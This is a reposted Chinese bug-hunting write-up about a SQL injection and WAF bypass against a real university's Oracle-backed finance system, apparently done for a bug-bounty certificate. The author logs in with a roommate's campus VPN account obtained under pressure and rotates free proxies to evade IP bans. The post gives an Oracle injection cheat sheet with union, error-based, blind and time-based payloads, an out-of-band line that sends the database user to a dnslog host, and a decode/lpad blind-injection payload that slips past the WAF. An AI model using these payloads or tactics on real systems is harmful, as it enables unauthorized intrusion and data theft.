记一次985证书站Oracle注入绕WAF

admin 2024年5月25日08:42:40评论9 views字数 3220阅读10分44秒阅读模式

【漏洞挖掘】记一次985证书站Oracle注入绕WAF

原文链接:奇安信攻防社区

https://forum.butian.net/share/2996

本文记录了我第一次Oracle注入并绕过WAF的经历,希望大家多多支持。

0x01 前言

看到某985证书挺好看的,我也很想拿一个。碰巧高中舍友是这个学校的,在一番“威逼利诱”下,他也是乖乖地交出了自己的校园VPN账号。

0x02 发现注入点

1、因为有了VPN账号密码,所以出洞应该不是什么问题。所以我省去了信息收集的步骤,直接登录其教务处、财务处等核心系统测试。最后也是很快地在其财务系统发现了疑似注入点,如下图所示。

【漏洞挖掘】记一次985证书站Oracle注入绕WAF

2、如上图所示,在“支出金额范围(元)”处输入个英文单引号,再点击左上角的“按条件查询”,回显Oracle数据库报错,报错信息为单引号未正确终止。如下图所示。

【漏洞挖掘】记一次985证书站Oracle注入绕WAF

0x03 Oracle注入学习

【联合查询注入】

/?id=1 order by 3 --+ 判断列数
/?id=-1 union select null,null,null from dual --+ 获取显位
/?id=-1 union select 1,'2','3' from dual --+ 获取显位
/?id=-1 union select 1,(select username from all_users where rownum=1),'3' from dual --+  获取用户名(相当于MYSQL的库名)
/?id=-1' union select NULL,(select table_name from user_tables where rownum=1 and owner='XXX'),NULL from dual--+ 获取XXX用户下的表名
/?id=-1 union select 1,(select column_name from all_tab_columns where owner='XXX' and table_name='USER' and rownum=1),'3' from dual --+ 获取XXX用户下USER表的字段
/?id=-1 union select 1,(select concat(concat(username,'~~'),password) from users where rownum=1),null from dual --+ 获取数据

【报错注入】

/?id=-1' or 1=ctxsys.drithsx.sn(1,'~'%7c%7c(select user from dual)%7c%7c'~') --+
/?id=-1' or (select upper(XMLType(chr(60)%7c%7cchr(58)%7c%7c(select user from dual)%7c%7cchr(62))) from dual) is not null --+
/?id=-1' or (select dbms_xdb_version.checkin('~'%7c%7c(select user from dual)%7c%7c'~') from dual) is not null--+

【布尔盲注】

/?id=1 and (select ascii(substr(user,1,1))from dual)>65 --+

【时间盲注】

/?id=1' and 1=(case when (ascii(substr((select user from dual),1,1))>65) then dbms_pipe.receive_message('RDS',5) else 0 end) --+

【DNSLOG带外注入】

/?id=1 and utl_http.request('http://'%7c%7c(select user from dual)%7c%7c'.xxxxxx.dnslog.cn/oracle')=1 --+

0x04 尝试注入

1、有了上面的笔记,我心想应该很快就能注出来,已经开好漏洞提交的页面准备边注边写报告了,结果payload一贴。。

【漏洞挖掘】记一次985证书站Oracle注入绕WAF

2、直接封IP也是难绷。去在线代理池找点免费代理挂上继续测。用上我CTF常年划水的功底,一顿双写大小写编码绕过,但都快把免费IP用完了还是不行。WAF一检测到select、substr、length、instr、ascii等常见函数就会封IP。没办法只能先去搜搜其他师傅的Oracle注入实战贴。发现有decode()这个函数可用。

decode(表达式,value,value1,value2)

这个函数的意思是当“表达式”的运算结果等于"value"时,decode函数输出value1;反之若不等,则输出value2。那么我们就可以在“表达式”处逐个字符猜解,结合Oracle除数为0会有特殊报错的特性进行盲注。

【漏洞挖掘】记一次985证书站Oracle注入绕WAF

3、那么问题来了。decode函数里面的盲注表达式该用什么呢?常见的那些根本没得用,掉小珍珠了。只能先去查查Oracle手册,找点不在WAF黑名单里的冷门函数。也是边找边学,最后发现了lpad()这个字符串填充函数似乎可以一试。

lpad(string, padded_length, [pad_string])
string: 这是你想要填充的原始字符串。
padded_length: 指定结果字符串的总长度。如果这个长度小于原始字符串的长度,那么原始字符串将被截取到指定长度。
pad_string: (可选)用于填充的字符或字符串。如果未指定,默认使用空格字符进行填充。

简单说一下,就是如果当前Oracle用户名为wangzi,那么lpad(user,1,1) 就为w,lpad(user,2,1) 就为wa。而lpad(user,9,6) 将输出666wangzi,填充了pad_string位的字符6到左侧,以让输出的字符串达到九位。

4、最终,我们构造出盲注语句1/decode(lpad(user,1,1),'A',1,0) ,将其输入在“支出金额范围(元)”处,并点击查询,发现正常报错回显除数为0。说明当前连接的用户名第一个字符不为A。如图所示。

【漏洞挖掘】记一次985证书站Oracle注入绕WAF

5、以此类推,再继续构造盲注语句1/decode(lpad(user,1,1),'C',1,0) ,将其输入在“支出金额范围(元)”处,并点击查询,发现报错回显查询结果超过控制数。证明payload运算结果为1,即当前连接的用户名第一个字符为C。若将此处的C换成其他任何字符,回显都是除数为0。如图所示。

【漏洞挖掘】记一次985证书站Oracle注入绕WAF

6、再继续构造盲注语句1/decode(lpad(user,2,1),'CA',1,0) ,将其输入在“支出金额范围(元)”处,并点击查询,发现报错回显仍是除数为0。说明当前的用户名第二个字符不为A。如图所示。

【漏洞挖掘】记一次985证书站Oracle注入绕WAF

7、如此以来不断遍历字符测试,直到构造出1/decode(lpad(user,2,1),'CW',1,0) 。将其输入在“支出金额范围(元)”处,并点击查询,发现报错回显的是查询结果超过控制数。证明payload运算结果为1,即当前连接的用户名第二个字符为W。若将此处的W换成其他任何字符,回显都是除数为0。如图所示。

【漏洞挖掘】记一次985证书站Oracle注入绕WAF

8、同理,构造 1/decode(lpad(user,3,1),'CWB',1,0)1/decode(lpad(user,4,1),'CWBS',1,0) 时,回显不是除数为0,而是查询结果超过控制数。故我们通过盲注,成功得到了该Oracle数据库当前连接的用户名,即CWBS。遍历其它任何字符,盲注第五位的回显都是除数为0,故用户名只有4位。漏洞验证成功!

【漏洞挖掘】记一次985证书站Oracle注入绕WAF

0x05 结语

因为这里的数据包是被全局加密的,而且WAF封得严,所以没能用BP或者脚本进行快速遍历字符进行盲注。不过弄到大半夜也算是勉强注出来了,坐等证书发货。若有不够严谨的地方,还请师傅们批评指正。

文章来源:奇安信攻防社区

黑白之道发布、转载的文章中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途及盈利等目的,否则后果自行承担!

如侵权请私聊我们删文

END

原文始发于微信公众号(黑白之道):【漏洞挖掘】记一次985证书站Oracle注入绕WAF

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年5月25日08:42:40
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   记一次985证书站Oracle注入绕WAFhttp://cn-sec.com/archives/2765568.html

发表评论

匿名网友 填写信息